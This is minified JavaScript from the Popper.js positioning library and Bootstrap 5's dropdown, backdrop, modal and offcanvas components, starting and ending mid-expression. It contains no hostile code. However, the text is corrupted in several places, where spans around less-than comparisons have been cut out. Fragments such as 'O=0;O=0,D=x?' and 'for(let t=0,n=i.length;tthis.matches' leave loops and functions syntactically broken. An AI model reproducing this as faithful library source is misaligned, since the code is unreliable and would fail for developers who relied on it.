e=n[t];!1===e?s.removeAttribute(t):s.setAttribute(t,!0===e?"":e)})))}))},effect:function(t){var e=t.state,i={popper:{position:e.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(e.elements.popper.style,i.popper),e.styles=i,e.elements.arrow&&Object.assign(e.elements.arrow.style,i.arrow),function(){Object.keys(e.elements).forEach((function(t){var n=e.elements[t],s=e.attributes[t]||{},o=Object.keys(e.styles.hasOwnProperty(t)?e.styles[t]:i[t]).reduce((function(t,e){return t[e]="",t}),{});ft(n)&&ht(n)&&(Object.assign(n.style,o),Object.keys(s).forEach((function(t){n.removeAttribute(t)})))}))}},requires:["computeStyles"]};function gt(t){return t.split("-")[0]}function _t(t){var e=t.getBoundingClientRect();return{width:e.width,height:e.height,top:e.top,right:e.right,bottom:e.bottom,left:e.left,x:e.left,y:e.top}}function bt(t){var e=_t(t),i=t.offsetWidth,n=t.offsetHeight;return Math.abs(e.width-i)<=1&&(i=e.width),Math.abs(e.height-n)<=1&&(n=e.height),{x:t.offsetLeft,y:t.offsetTop,width:i,height:n}}function vt(t,e){var i=e.getRootNode&&e.getRootNode();if(t.contains(e))return!0;if(i&&pt(i)){var n=e;do{if(n&&t.isSameNode(n))return!0;n=n.parentNode||n.host}while(n)}return!1}function yt(t){return dt(t).getComputedStyle(t)}function wt(t){return["table","td","th"].indexOf(ht(t))>=0}function Et(t){return((ut(t)?t.ownerDocument:t.document)||window.document).documentElement}function At(t){return"html"===ht(t)?t:t.assignedSlot||t.parentNode||(pt(t)?t.host:null)||Et(t)}function Tt(t){return ft(t)&&"fixed"!==yt(t).position?t.offsetParent:null}function Ot(t){for(var e=dt(t),i=Tt(t);i&&wt(i)&&"static"===yt(i).position;)i=Tt(i);return i&&("html"===ht(i)||"body"===ht(i)&&"static"===yt(i).position)?e:i||function(t){var e=-1!==navigator.userAgent.toLowerCase().indexOf("firefox");if(-1!==navigator.userAgent.indexOf("Trident")&&ft(t)&&"fixed"===yt(t).position)return null;for(var i=At(t);ft(i)&&["html","body"].indexOf(ht(i))<0;){var n=yt(i);if("none"!==n.transform||"none"!==n.perspective||"paint"===n.contain||-1!==["transform","perspective"].indexOf(n.willChange)||e&&"filter"===n.willChange||e&&n.filter&&"none"!==n.filter)return i;i=i.parentNode}return null}(t)||e}function Ct(t){return["top","bottom"].indexOf(t)>=0?"x":"y"}var kt=Math.max,Lt=Math.min,xt=Math.round;function Dt(t,e,i){return kt(t,Lt(e,i))}function St(t){return Object.assign({},{top:0,right:0,bottom:0,left:0},t)}function It(t,e){return e.reduce((function(e,i){return e[i]=t,e}),{})}var Nt={name:"arrow",enabled:!0,phase:"main",fn:function(t){var e,i=t.state,n=t.name,s=t.options,o=i.elements.arrow,r=i.modifiersData.popperOffsets,a=gt(i.placement),l=Ct(a),c=[ot,st].indexOf(a)>=0?"height":"width";if(o&&r){var h=function(t,e){return St("number"!=typeof(t="function"==typeof t?t(Object.assign({},e.rects,{placement:e.placement})):t)?t:It(t,rt))}(s.padding,i),d=bt(o),u="y"===l?it:ot,f="y"===l?nt:st,p=i.rects.reference[c]+i.rects.reference[l]-r[l]-i.rects.popper[c],m=r[l]-i.rects.reference[l],g=Ot(o),_=g?"y"===l?g.clientHeight||0:g.clientWidth||0:0,b=p/2-m/2,v=h[u],y=_-d[c]-h[f],w=_/2-d[c]/2+b,E=Dt(v,w,y),A=l;i.modifiersData[n]=((e={})[A]=E,e.centerOffset=E-w,e)}},effect:function(t){var e=t.state,i=t.options.element,n=void 0===i?"[data-popper-arrow]":i;null!=n&&("string"!=typeof n||(n=e.elements.popper.querySelector(n)))&&vt(e.elements.popper,n)&&(e.elements.arrow=n)},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]},jt={top:"auto",right:"auto",bottom:"auto",left:"auto"};function Mt(t){var e,i=t.popper,n=t.popperRect,s=t.placement,o=t.offsets,r=t.position,a=t.gpuAcceleration,l=t.adaptive,c=t.roundOffsets,h=!0===c?function(t){var e=t.x,i=t.y,n=window.devicePixelRatio||1;return{x:xt(xt(e*n)/n)||0,y:xt(xt(i*n)/n)||0}}(o):"function"==typeof c?c(o):o,d=h.x,u=void 0===d?0:d,f=h.y,p=void 0===f?0:f,m=o.hasOwnProperty("x"),g=o.hasOwnProperty("y"),_=ot,b=it,v=window;if(l){var y=Ot(i),w="clientHeight",E="clientWidth";y===dt(i)&&"static"!==yt(y=Et(i)).position&&(w="scrollHeight",E="scrollWidth"),y=y,s===it&&(b=nt,p-=y[w]-n.height,p*=a?1:-1),s===ot&&(_=st,u-=y[E]-n.width,u*=a?1:-1)}var A,T=Object.assign({position:r},l&&jt);return a?Object.assign({},T,((A={})[b]=g?"0":"",A[_]=m?"0":"",A.transform=(v.devicePixelRatio||1)<2?"translate("+u+"px, "+p+"px)":"translate3d("+u+"px, "+p+"px, 0)",A)):Object.assign({},T,((e={})[b]=g?p+"px":"",e[_]=m?u+"px":"",e.transform="",e))}var Pt={name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(t){var e=t.state,i=t.options,n=i.gpuAcceleration,s=void 0===n||n,o=i.adaptive,r=void 0===o||o,a=i.roundOffsets,l=void 0===a||a,c={placement:gt(e.placement),popper:e.elements.popper,popperRect:e.rects.popper,gpuAcceleration:s};null!=e.modifiersData.popperOffsets&&(e.styles.popper=Object.assign({},e.styles.popper,Mt(Object.assign({},c,{offsets:e.modifiersData.popperOffsets,position:e.options.strategy,adaptive:r,roundOffsets:l})))),null!=e.modifiersData.arrow&&(e.styles.arrow=Object.assign({},e.styles.arrow,Mt(Object.assign({},c,{offsets:e.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:l})))),e.attributes.popper=Object.assign({},e.attributes.popper,{"data-popper-placement":e.placement})},data:{}},Ht={passive:!0},Rt={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(t){var e=t.state,i=t.instance,n=t.options,s=n.scroll,o=void 0===s||s,r=n.resize,a=void 0===r||r,l=dt(e.elements.popper),c=[].concat(e.scrollParents.reference,e.scrollParents.popper);return o&&c.forEach((function(t){t.addEventListener("scroll",i.update,Ht)})),a&&l.addEventListener("resize",i.update,Ht),function(){o&&c.forEach((function(t){t.removeEventListener("scroll",i.update,Ht)})),a&&l.removeEventListener("resize",i.update,Ht)}},data:{}},Bt={left:"right",right:"left",bottom:"top",top:"bottom"};function Wt(t){return t.replace(/left|right|bottom|top/g,(function(t){return Bt[t]}))}var qt={start:"end",end:"start"};function zt(t){return t.replace(/start|end/g,(function(t){return qt[t]}))}function $t(t){var e=dt(t);return{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function Ut(t){return _t(Et(t)).left+$t(t).scrollLeft}function Ft(t){var e=yt(t),i=e.overflow,n=e.overflowX,s=e.overflowY;return/auto|scroll|overlay|hidden/.test(i+s+n)}function Vt(t,e){var i;void 0===e&&(e=[]);var n=function t(e){return["html","body","#document"].indexOf(ht(e))>=0?e.ownerDocument.body:ft(e)&&Ft(e)?e:t(At(e))}(t),s=n===(null==(i=t.ownerDocument)?void 0:i.body),o=dt(n),r=s?[o].concat(o.visualViewport||[],Ft(n)?n:[]):n,a=e.concat(r);return s?a:a.concat(Vt(At(r)))}function Kt(t){return Object.assign({},t,{left:t.x,top:t.y,right:t.x+t.width,bottom:t.y+t.height})}function Xt(t,e){return"viewport"===e?Kt(function(t){var e=dt(t),i=Et(t),n=e.visualViewport,s=i.clientWidth,o=i.clientHeight,r=0,a=0;return n&&(s=n.width,o=n.height,/^((?!chrome|android).)*safari/i.test(navigator.userAgent)||(r=n.offsetLeft,a=n.offsetTop)),{width:s,height:o,x:r+Ut(t),y:a}}(t)):ft(e)?function(t){var e=_t(t);return e.top=e.top+t.clientTop,e.left=e.left+t.clientLeft,e.bottom=e.top+t.clientHeight,e.right=e.left+t.clientWidth,e.width=t.clientWidth,e.height=t.clientHeight,e.x=e.left,e.y=e.top,e}(e):Kt(function(t){var e,i=Et(t),n=$t(t),s=null==(e=t.ownerDocument)?void 0:e.body,o=kt(i.scrollWidth,i.clientWidth,s?s.scrollWidth:0,s?s.clientWidth:0),r=kt(i.scrollHeight,i.clientHeight,s?s.scrollHeight:0,s?s.clientHeight:0),a=-n.scrollLeft+Ut(t),l=-n.scrollTop;return"rtl"===yt(s||i).direction&&(a+=kt(i.clientWidth,s?s.clientWidth:0)-o),{width:o,height:r,x:a,y:l}}(Et(t)))}function Yt(t){return t.split("-")[1]}function Qt(t){var e,i=t.reference,n=t.element,s=t.placement,o=s?gt(s):null,r=s?Yt(s):null,a=i.x+i.width/2-n.width/2,l=i.y+i.height/2-n.height/2;switch(o){case it:e={x:a,y:i.y-n.height};break;case nt:e={x:a,y:i.y+i.height};break;case st:e={x:i.x+i.width,y:l};break;case ot:e={x:i.x-n.width,y:l};break;default:e={x:i.x,y:i.y}}var c=o?Ct(o):null;if(null!=c){var h="y"===c?"height":"width";switch(r){case"start":e[c]=e[c]-(i[h]/2-n[h]/2);break;case"end":e[c]=e[c]+(i[h]/2-n[h]/2)}}return e}function Gt(t,e){void 0===e&&(e={});var i=e,n=i.placement,s=void 0===n?t.placement:n,o=i.boundary,r=void 0===o?"clippingParents":o,a=i.rootBoundary,l=void 0===a?"viewport":a,c=i.elementContext,h=void 0===c?"popper":c,d=i.altBoundary,u=void 0!==d&&d,f=i.padding,p=void 0===f?0:f,m=St("number"!=typeof p?p:It(p,rt)),g="popper"===h?"reference":"popper",_=t.elements.reference,b=t.rects.popper,v=t.elements[u?g:h],y=function(t,e,i){var n="clippingParents"===e?function(t){var e=Vt(At(t)),i=["absolute","fixed"].indexOf(yt(t).position)>=0&&ft(t)?Ot(t):t;return ut(i)?e.filter((function(t){return ut(t)&&vt(t,i)&&"body"!==ht(t)})):[]}(t):[].concat(e),s=[].concat(n,[i]),o=s[0],r=s.reduce((function(e,i){var n=Xt(t,i);return e.top=kt(n.top,e.top),e.right=Lt(n.right,e.right),e.bottom=Lt(n.bottom,e.bottom),e.left=kt(n.left,e.left),e}),Xt(t,o));return r.width=r.right-r.left,r.height=r.bottom-r.top,r.x=r.left,r.y=r.top,r}(ut(v)?v:v.contextElement||Et(t.elements.popper),r,l),w=_t(_),E=Qt({reference:w,element:b,strategy:"absolute",placement:s}),A=Kt(Object.assign({},b,E)),T="popper"===h?A:w,O={top:y.top-T.top+m.top,bottom:T.bottom-y.bottom+m.bottom,left:y.left-T.left+m.left,right:T.right-y.right+m.right},C=t.modifiersData.offset;if("popper"===h&&C){var k=C[s];Object.keys(O).forEach((function(t){var e=[st,nt].indexOf(t)>=0?1:-1,i=[it,nt].indexOf(t)>=0?"y":"x";O[t]+=k[i]*e}))}return O}function Zt(t,e){void 0===e&&(e={});var i=e,n=i.placement,s=i.boundary,o=i.rootBoundary,r=i.padding,a=i.flipVariations,l=i.allowedAutoPlacements,c=void 0===l?lt:l,h=Yt(n),d=h?a?at:at.filter((function(t){return Yt(t)===h})):rt,u=d.filter((function(t){return c.indexOf(t)>=0}));0===u.length&&(u=d);var f=u.reduce((function(e,i){return e[i]=Gt(t,{placement:i,boundary:s,rootBoundary:o,padding:r})[gt(i)],e}),{});return Object.keys(f).sort((function(t,e){return f[t]-f[e]}))}var Jt={name:"flip",enabled:!0,phase:"main",fn:function(t){var e=t.state,i=t.options,n=t.name;if(!e.modifiersData[n]._skip){for(var s=i.mainAxis,o=void 0===s||s,r=i.altAxis,a=void 0===r||r,l=i.fallbackPlacements,c=i.padding,h=i.boundary,d=i.rootBoundary,u=i.altBoundary,f=i.flipVariations,p=void 0===f||f,m=i.allowedAutoPlacements,g=e.options.placement,_=gt(g),b=l||(_!==g&&p?function(t){if("auto"===gt(t))return[];var e=Wt(t);return[zt(t),e,zt(e)]}(g):[Wt(g)]),v=[g].concat(b).reduce((function(t,i){return t.concat("auto"===gt(i)?Zt(e,{placement:i,boundary:h,rootBoundary:d,padding:c,flipVariations:p,allowedAutoPlacements:m}):i)}),[]),y=e.rects.reference,w=e.rects.popper,E=new Map,A=!0,T=v[0],O=0;O=0,D=x?"width":"height",S=Gt(e,{placement:C,boundary:h,rootBoundary:d,altBoundary:u,padding:c}),I=x?L?st:ot:L?nt:it;y[D]>w[D]&&(I=Wt(I));var N=Wt(I),j=[];if(o&&j.push(S[k]<=0),a&&j.push(S[I]<=0,S[N]<=0),j.every((function(t){return t}))){T=C,A=!1;break}E.set(C,j)}if(A)for(var M=function(t){var e=v.find((function(e){var i=E.get(e);if(i)return i.slice(0,t).every((function(t){return t}))}));if(e)return T=e,"break"},P=p?3:1;P>0&&"break"!==M(P);P--);e.placement!==T&&(e.modifiersData[n]._skip=!0,e.placement=T,e.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}};function te(t,e,i){return void 0===i&&(i={x:0,y:0}),{top:t.top-e.height-i.y,right:t.right-e.width+i.x,bottom:t.bottom-e.height+i.y,left:t.left-e.width-i.x}}function ee(t){return[it,st,nt,ot].some((function(e){return t[e]>=0}))}var ie={name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(t){var e=t.state,i=t.name,n=e.rects.reference,s=e.rects.popper,o=e.modifiersData.preventOverflow,r=Gt(e,{elementContext:"reference"}),a=Gt(e,{altBoundary:!0}),l=te(r,n),c=te(a,s,o),h=ee(l),d=ee(c);e.modifiersData[i]={referenceClippingOffsets:l,popperEscapeOffsets:c,isReferenceHidden:h,hasPopperEscaped:d},e.attributes.popper=Object.assign({},e.attributes.popper,{"data-popper-reference-hidden":h,"data-popper-escaped":d})}},ne={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(t){var e=t.state,i=t.options,n=t.name,s=i.offset,o=void 0===s?[0,0]:s,r=lt.reduce((function(t,i){return t[i]=function(t,e,i){var n=gt(t),s=[ot,it].indexOf(n)>=0?-1:1,o="function"==typeof i?i(Object.assign({},e,{placement:t})):i,r=o[0],a=o[1];return r=r||0,a=(a||0)*s,[ot,st].indexOf(n)>=0?{x:a,y:r}:{x:r,y:a}}(i,e.rects,o),t}),{}),a=r[e.placement],l=a.x,c=a.y;null!=e.modifiersData.popperOffsets&&(e.modifiersData.popperOffsets.x+=l,e.modifiersData.popperOffsets.y+=c),e.modifiersData[n]=r}},se={name:"popperOffsets",enabled:!0,phase:"read",fn:function(t){var e=t.state,i=t.name;e.modifiersData[i]=Qt({reference:e.rects.reference,element:e.rects.popper,strategy:"absolute",placement:e.placement})},data:{}},oe={name:"preventOverflow",enabled:!0,phase:"main",fn:function(t){var e=t.state,i=t.options,n=t.name,s=i.mainAxis,o=void 0===s||s,r=i.altAxis,a=void 0!==r&&r,l=i.boundary,c=i.rootBoundary,h=i.altBoundary,d=i.padding,u=i.tether,f=void 0===u||u,p=i.tetherOffset,m=void 0===p?0:p,g=Gt(e,{boundary:l,rootBoundary:c,padding:d,altBoundary:h}),_=gt(e.placement),b=Yt(e.placement),v=!b,y=Ct(_),w="x"===y?"y":"x",E=e.modifiersData.popperOffsets,A=e.rects.reference,T=e.rects.popper,O="function"==typeof m?m(Object.assign({},e.rects,{placement:e.placement})):m,C={x:0,y:0};if(E){if(o||a){var k="y"===y?it:ot,L="y"===y?nt:st,x="y"===y?"height":"width",D=E[y],S=E[y]+g[k],I=E[y]-g[L],N=f?-T[x]/2:0,j="start"===b?A[x]:T[x],M="start"===b?-T[x]:-A[x],P=e.elements.arrow,H=f&&P?bt(P):{width:0,height:0},R=e.modifiersData["arrow#persistent"]?e.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0},B=R[k],W=R[L],q=Dt(0,A[x],H[x]),z=v?A[x]/2-N-q-B-O:j-q-B-O,$=v?-A[x]/2+N+q+W+O:M+q+W+O,U=e.elements.arrow&&Ot(e.elements.arrow),F=U?"y"===y?U.clientTop||0:U.clientLeft||0:0,V=e.modifiersData.offset?e.modifiersData.offset[e.placement][y]:0,K=E[y]+z-V-F,X=E[y]+$-V;if(o){var Y=Dt(f?Lt(S,K):S,D,f?kt(I,X):I);E[y]=Y,C[y]=Y-D}if(a){var Q="x"===y?it:ot,G="x"===y?nt:st,Z=E[w],J=Z+g[Q],tt=Z-g[G],et=Dt(f?Lt(J,K):J,Z,f?kt(tt,X):tt);E[w]=et,C[w]=et-Z}}e.modifiersData[n]=C}},requiresIfExists:["offset"]};function re(t,e,i){void 0===i&&(i=!1);var n,s,o=Et(e),r=_t(t),a=ft(e),l={scrollLeft:0,scrollTop:0},c={x:0,y:0};return(a||!a&&!i)&&(("body"!==ht(e)||Ft(o))&&(l=(n=e)!==dt(n)&&ft(n)?{scrollLeft:(s=n).scrollLeft,scrollTop:s.scrollTop}:$t(n)),ft(e)?((c=_t(e)).x+=e.clientLeft,c.y+=e.clientTop):o&&(c.x=Ut(o))),{x:r.left+l.scrollLeft-c.x,y:r.top+l.scrollTop-c.y,width:r.width,height:r.height}}var ae={placement:"bottom",modifiers:[],strategy:"absolute"};function le(){for(var t=arguments.length,e=new Array(t),i=0;i"applyStyles"===t.name&&!1===t.enabled);this._popper=ue(e,this._menu,i),n&&U.setDataAttribute(this._menu,"popper","static")}"ontouchstart"in document.documentElement&&!t.closest(".navbar-nav")&&[].concat(...document.body.children).forEach(t=>P.on(t,"mouseover",u)),this._element.focus(),this._element.setAttribute("aria-expanded",!0),this._menu.classList.toggle("show"),this._element.classList.toggle("show"),P.trigger(this._element,"shown.bs.dropdown",e)}}hide(){if(h(this._element)||!this._menu.classList.contains("show"))return;const t={relatedTarget:this._element};this._completeHide(t)}dispose(){this._popper&&this._popper.destroy(),super.dispose()}update(){this._inNavbar=this._detectNavbar(),this._popper&&this._popper.update()}_addEventListeners(){P.on(this._element,"click.bs.dropdown",t=>{t.preventDefault(),this.toggle()})}_completeHide(t){P.trigger(this._element,"hide.bs.dropdown",t).defaultPrevented||("ontouchstart"in document.documentElement&&[].concat(...document.body.children).forEach(t=>P.off(t,"mouseover",u)),this._popper&&this._popper.destroy(),this._menu.classList.remove("show"),this._element.classList.remove("show"),this._element.setAttribute("aria-expanded","false"),U.removeDataAttribute(this._menu,"popper"),P.trigger(this._element,"hidden.bs.dropdown",t))}_getConfig(t){if(t={...this.constructor.Default,...U.getDataAttributes(this._element),...t},l("dropdown",t,this.constructor.DefaultType),"object"==typeof t.reference&&!r(t.reference)&&"function"!=typeof t.reference.getBoundingClientRect)throw new TypeError("dropdown".toUpperCase()+': Option "reference" provided type "object" without a required "getBoundingClientRect" method.');return t}_getMenuElement(){return t.next(this._element,".dropdown-menu")[0]}_getPlacement(){const t=this._element.parentNode;if(t.classList.contains("dropend"))return ve;if(t.classList.contains("dropstart"))return ye;const e="end"===getComputedStyle(this._menu).getPropertyValue("--bs-position").trim();return t.classList.contains("dropup")?e?ge:me:e?be:_e}_detectNavbar(){return null!==this._element.closest(".navbar")}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map(t=>Number.parseInt(t,10)):"function"==typeof t?e=>t(e,this._element):t}_getPopperConfig(){const t={placement:this._getPlacement(),modifiers:[{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"offset",options:{offset:this._getOffset()}}]};return"static"===this._config.display&&(t.modifiers=[{name:"applyStyles",enabled:!1}]),{...t,..."function"==typeof this._config.popperConfig?this._config.popperConfig(t):this._config.popperConfig}}_selectMenuItem({key:e,target:i}){const n=t.find(".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",this._menu).filter(c);n.length&&y(n,i,"ArrowDown"===e,!n.includes(i)).focus()}static dropdownInterface(t,e){const i=Ae.getOrCreateInstance(t,e);if("string"==typeof e){if(void 0===i[e])throw new TypeError(`No method named "${e}"`);i[e]()}}static jQueryInterface(t){return this.each((function(){Ae.dropdownInterface(this,t)}))}static clearMenus(e){if(e&&(2===e.button||"keyup"===e.type&&"Tab"!==e.key))return;const i=t.find('[data-bs-toggle="dropdown"]');for(let t=0,n=i.length;tthis.matches('[data-bs-toggle="dropdown"]')?this:t.prev(this,'[data-bs-toggle="dropdown"]')[0];return"Escape"===e.key?(n().focus(),void Ae.clearMenus()):"ArrowUp"===e.key||"ArrowDown"===e.key?(i||n().click(),void Ae.getInstance(n())._selectMenuItem(e)):void(i&&"Space"!==e.key||Ae.clearMenus())}}P.on(document,"keydown.bs.dropdown.data-api",'[data-bs-toggle="dropdown"]',Ae.dataApiKeydownHandler),P.on(document,"keydown.bs.dropdown.data-api",".dropdown-menu",Ae.dataApiKeydownHandler),P.on(document,"click.bs.dropdown.data-api",Ae.clearMenus),P.on(document,"keyup.bs.dropdown.data-api",Ae.clearMenus),P.on(document,"click.bs.dropdown.data-api",'[data-bs-toggle="dropdown"]',(function(t){t.preventDefault(),Ae.dropdownInterface(this)})),_(Ae);class Te{constructor(){this._element=document.body}getWidth(){const t=document.documentElement.clientWidth;return Math.abs(window.innerWidth-t)}hide(){const t=this.getWidth();this._disableOverFlow(),this._setElementAttributes(this._element,"paddingRight",e=>e+t),this._setElementAttributes(".fixed-top, .fixed-bottom, .is-fixed, .sticky-top","paddingRight",e=>e+t),this._setElementAttributes(".sticky-top","marginRight",e=>e-t)}_disableOverFlow(){this._saveInitialAttribute(this._element,"overflow"),this._element.style.overflow="hidden"}_setElementAttributes(t,e,i){const n=this.getWidth();this._applyManipulationCallback(t,t=>{if(t!==this._element&&window.innerWidth>t.clientWidth+n)return;this._saveInitialAttribute(t,e);const s=window.getComputedStyle(t)[e];t.style[e]=i(Number.parseFloat(s))+"px"})}reset(){this._resetElementAttributes(this._element,"overflow"),this._resetElementAttributes(this._element,"paddingRight"),this._resetElementAttributes(".fixed-top, .fixed-bottom, .is-fixed, .sticky-top","paddingRight"),this._resetElementAttributes(".sticky-top","marginRight")}_saveInitialAttribute(t,e){const i=t.style[e];i&&U.setDataAttribute(t,e,i)}_resetElementAttributes(t,e){this._applyManipulationCallback(t,t=>{const i=U.getDataAttribute(t,e);void 0===i?t.style.removeProperty(e):(U.removeDataAttribute(t,e),t.style[e]=i)})}_applyManipulationCallback(e,i){r(e)?i(e):t.find(e,this._element).forEach(i)}isOverflowing(){return this.getWidth()>0}}const Oe={isVisible:!0,isAnimated:!1,rootElement:"body",clickCallback:null},Ce={isVisible:"boolean",isAnimated:"boolean",rootElement:"(element|string)",clickCallback:"(function|null)"};class ke{constructor(t){this._config=this._getConfig(t),this._isAppended=!1,this._element=null}show(t){this._config.isVisible?(this._append(),this._config.isAnimated&&f(this._getElement()),this._getElement().classList.add("show"),this._emulateAnimation(()=>{b(t)})):b(t)}hide(t){this._config.isVisible?(this._getElement().classList.remove("show"),this._emulateAnimation(()=>{this.dispose(),b(t)})):b(t)}_getElement(){if(!this._element){const t=document.createElement("div");t.className="modal-backdrop",this._config.isAnimated&&t.classList.add("fade"),this._element=t}return this._element}_getConfig(t){return(t={...Oe,..."object"==typeof t?t:{}}).rootElement=a(t.rootElement),l("backdrop",t,Ce),t}_append(){this._isAppended||(this._config.rootElement.appendChild(this._getElement()),P.on(this._getElement(),"mousedown.bs.backdrop",()=>{b(this._config.clickCallback)}),this._isAppended=!0)}dispose(){this._isAppended&&(P.off(this._element,"mousedown.bs.backdrop"),this._element.remove(),this._isAppended=!1)}_emulateAnimation(t){v(t,this._getElement(),this._config.isAnimated)}}const Le={backdrop:!0,keyboard:!0,focus:!0},xe={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean"};class De extends B{constructor(e,i){super(e),this._config=this._getConfig(i),this._dialog=t.findOne(".modal-dialog",this._element),this._backdrop=this._initializeBackDrop(),this._isShown=!1,this._ignoreBackdropClick=!1,this._isTransitioning=!1,this._scrollBar=new Te}static get Default(){return Le}static get NAME(){return"modal"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||this._isTransitioning||P.trigger(this._element,"show.bs.modal",{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._isAnimated()&&(this._isTransitioning=!0),this._scrollBar.hide(),document.body.classList.add("modal-open"),this._adjustDialog(),this._setEscapeEvent(),this._setResizeEvent(),P.on(this._element,"click.dismiss.bs.modal",'[data-bs-dismiss="modal"]',t=>this.hide(t)),P.on(this._dialog,"mousedown.dismiss.bs.modal",()=>{P.one(this._element,"mouseup.dismiss.bs.modal",t=>{t.target===this._element&&(this._ignoreBackdropClick=!0)})}),this._showBackdrop(()=>this._showElement(t)))}hide(t){if(t&&["A","AREA"].includes(t.target.tagName)&&t.preventDefault(),!this._isShown||this._isTransitioning)return;if(P.trigger(this._element,"hide.bs.modal").defaultPrevented)return;this._isShown=!1;const e=this._isAnimated();e&&(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),P.off(document,"focusin.bs.modal"),this._element.classList.remove("show"),P.off(this._element,"click.dismiss.bs.modal"),P.off(this._dialog,"mousedown.dismiss.bs.modal"),this._queueCallback(()=>this._hideModal(),this._element,e)}dispose(){[window,this._dialog].forEach(t=>P.off(t,".bs.modal")),this._backdrop.dispose(),super.dispose(),P.off(document,"focusin.bs.modal")}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new ke({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_getConfig(t){return t={...Le,...U.getDataAttributes(this._element),..."object"==typeof t?t:{}},l("modal",t,xe),t}_showElement(e){const i=this._isAnimated(),n=t.findOne(".modal-body",this._dialog);this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.scrollTop=0,n&&(n.scrollTop=0),i&&f(this._element),this._element.classList.add("show"),this._config.focus&&this._enforceFocus(),this._queueCallback(()=>{this._config.focus&&this._element.focus(),this._isTransitioning=!1,P.trigger(this._element,"shown.bs.modal",{relatedTarget:e})},this._dialog,i)}_enforceFocus(){P.off(document,"focusin.bs.modal"),P.on(document,"focusin.bs.modal",t=>{document===t.target||this._element===t.target||this._element.contains(t.target)||this._element.focus()})}_setEscapeEvent(){this._isShown?P.on(this._element,"keydown.dismiss.bs.modal",t=>{this._config.keyboard&&"Escape"===t.key?(t.preventDefault(),this.hide()):this._config.keyboard||"Escape"!==t.key||this._triggerBackdropTransition()}):P.off(this._element,"keydown.dismiss.bs.modal")}_setResizeEvent(){this._isShown?P.on(window,"resize.bs.modal",()=>this._adjustDialog()):P.off(window,"resize.bs.modal")}_hideModal(){this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._backdrop.hide(()=>{document.body.classList.remove("modal-open"),this._resetAdjustments(),this._scrollBar.reset(),P.trigger(this._element,"hidden.bs.modal")})}_showBackdrop(t){P.on(this._element,"click.dismiss.bs.modal",t=>{this._ignoreBackdropClick?this._ignoreBackdropClick=!1:t.target===t.currentTarget&&(!0===this._config.backdrop?this.hide():"static"===this._config.backdrop&&this._triggerBackdropTransition())}),this._backdrop.show(t)}_isAnimated(){return this._element.classList.contains("fade")}_triggerBackdropTransition(){if(P.trigger(this._element,"hidePrevented.bs.modal").defaultPrevented)return;const{classList:t,scrollHeight:e,style:i}=this._element,n=e>document.documentElement.clientHeight;!n&&"hidden"===i.overflowY||t.contains("modal-static")||(n||(i.overflowY="hidden"),t.add("modal-static"),this._queueCallback(()=>{t.remove("modal-static"),n||this._queueCallback(()=>{i.overflowY=""},this._dialog)},this._dialog),this._element.focus())}_adjustDialog(){const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._scrollBar.getWidth(),i=e>0;(!i&&t&&!g()||i&&!t&&g())&&(this._element.style.paddingLeft=e+"px"),(i&&!t&&!g()||!i&&t&&g())&&(this._element.style.paddingRight=e+"px")}_resetAdjustments(){this._element.style.paddingLeft="",this._element.style.paddingRight=""}static jQueryInterface(t,e){return this.each((function(){const i=De.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===i[t])throw new TypeError(`No method named "${t}"`);i[t](e)}}))}}P.on(document,"click.bs.modal.data-api",'[data-bs-toggle="modal"]',(function(t){const e=s(this);["A","AREA"].includes(this.tagName)&&t.preventDefault(),P.one(e,"show.bs.modal",t=>{t.defaultPrevented||P.one(e,"hidden.bs.modal",()=>{c(this)&&this.focus()})}),De.getOrCreateInstance(e).toggle(this)})),_(De);const Se={backdrop:!0,keyboard:!0,scroll:!1},Ie={backdrop:"boolean",keyboard:"boolean",scroll:"boolean"};class Ne extends B{constructor(t,e){super(t),this._config=this._getConfig(e),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._addEventListeners()}static get NAME(){return"offcanvas"}static get Default(){return Se}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||P.trigger(this._element,"show.bs.offcanvas",{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._element.style.visibility="visible",this._backdrop.show(),this._config.scroll||((new Te).hide(),this._enforceFocusOnElement(this._element)),this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.classList.add("show"),this._queueCallback(()=>{P.trigger(this._element,"shown.bs.offcanvas",{relatedTarget:t})},this._element,!0))}hide(){this._isShown&&(P.trigger(this._element,"hide.bs.offcanvas").defaultPrevented||(P.off(document,"focusin.bs.offcanvas"),this._element.blur(),this._isShown=!1,this._element.classList.remove("show"),this._backdrop.hide(),this._queueCallback(()=>{this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._element.style.visibility="hidden",this._config.scroll||(new Te).reset(),P.trigger(this._element,"hidden.bs.offcanvas")},this._element,!0)))}dispose(){this._backdrop.dispose(),super.dispose(),P.off(document,"focusin.bs.offcanvas")}_getConfig(t){return 